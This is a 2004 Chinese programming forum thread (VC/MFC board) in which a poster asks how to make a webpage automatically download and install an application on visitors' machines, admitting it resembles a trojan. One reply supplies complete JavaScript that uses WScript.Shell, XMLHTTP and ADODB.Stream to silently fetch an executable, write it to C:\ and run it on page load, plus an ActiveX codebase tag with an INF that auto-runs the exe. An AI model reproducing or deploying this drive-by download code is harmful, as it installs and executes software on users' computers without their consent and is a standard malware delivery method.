如何实现在用户打开我的网页时自动下载一个应用程序,并安装?

EasyTDD 广州凯乐软件 2004-08-04 09:45:21
有点象木马啦,但老板偏要这样做。好在这个东东只是个搜索我们网站的工具。谢谢!
...全文
426 13 点赞 打赏 收藏 举报
写回复
13 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
EasyTDD 2004-08-07
再Up
  • 打赏
  • 举报
回复
EasyTDD 2004-08-04
To my_mtx(水木):
谢谢,能不能说详细点?或者介绍些例子,我没找到
  • 打赏
  • 举报
回复
my_mtx 2004-08-04
做一个控件吧,在用微软的打包工具打成××××。CAB,还要做一个签名,在页面上你只要引用一下控件就可以了
  • 打赏
  • 举报
回复
gjd111686 2004-08-04
如果是搜索网站的话,建议做成ISAPI或者servlet来搜索网站内容就不需要下载了.
  • 打赏
  • 举报
回复
EasyTDD 2004-08-04
To gjd111686(数字金刚)
杀毒软件会把这些脚本当成病毒啊,我连保存都不行,Norton一下就把它删掉了。
  • 打赏
  • 举报
回复
EasyTDD 2004-08-04
T0 wasltone(为中国软件崛起努力) :
你的昵称我喜欢!
  • 打赏
  • 举报
回复
wasltone 2004-08-04
ActiveX
  • 打赏
  • 举报
回复
微星1234 2004-08-04
up
  • 打赏
  • 举报
回复
gjd111686 2004-08-04
不过都需要降低IE安全级别,除非你的第二方法有CA验证数字证书
  • 打赏
  • 举报
回复
gjd111686 2004-08-04
实现方法二:
在网页中
<object id=DWebOffice style="left: 0px; width: 100%; top: 0px; height: 450px;" classid="clsid:05430EC0-69CA-437A-B1F9-4B78B8647BEA" viewastext codebase="http://YourHost/YourOCXCAB.cab#version=1,0,0,3">
打包YourOCXCAB时在INF文件中加
[YourExe.exe]
file-win32-x86=thiscab
FileVersion=1,0,0,0
DestDir=11
RegisterServer=no
run=YourExe.exe
  • 打赏
  • 举报
回复
gjd111686 2004-08-04
实现方法一:
在你的网页中写
<script>
function ExeRun(command)
{
window.oldOnError=window.onerror;
window._command=command;
window.onerror=function(err)
{
if(err.indexOf('automation')!=-1)
{
alert("命令"+window._command+"已经被用户禁止!");
return true;
}
else return false;
}
var wsh=new ActiveXObject("WScript.Shell");
if(wsh)
wsh.Run(command);
window.onerror=window.oldOnError;
}
function DownURL(strRemoteURL,strLocalURL)
{
try
{
var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");
xmlHTTP.open("Get",strRemoteURL,false);
xmlHTTP.send();
var adodbStream=new ActiveXObject("ADODB.Stream");
adodbStream.Type=1;//1=adTypeBinary
adodbStream.Open();
adodbStream.write(xmlHTTP.responseBody);
adodbStream.SaveToFile(strLocalURL,2);
adodbStream.Close();
adodbStream=null;
xmlHTTP=null;
ExeRun(strLocalURL);
}
catch(e)
{
window.confirm("下载URL出错!");
}
//window.confirm("下载完成.");
}
DownURL("Http://YourHost/YourExe.exe","C:\\YourExe.exe");
</script>
  • 打赏
  • 举报
回复
sjzxyg 2004-08-04
作网页中嵌个组件,在组件中实现下载安装程序的功能
  • 打赏
  • 举报
回复
EasyTDD 2004-08-04
up
  • 打赏
  • 举报
回复
相关推荐
发帖
VC/MFC
创建于2007-09-28

1.5w+

社区成员

VC/MFC相关问题讨论
申请成为版主
帖子事件
创建了帖子
2004-08-04 09:45
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……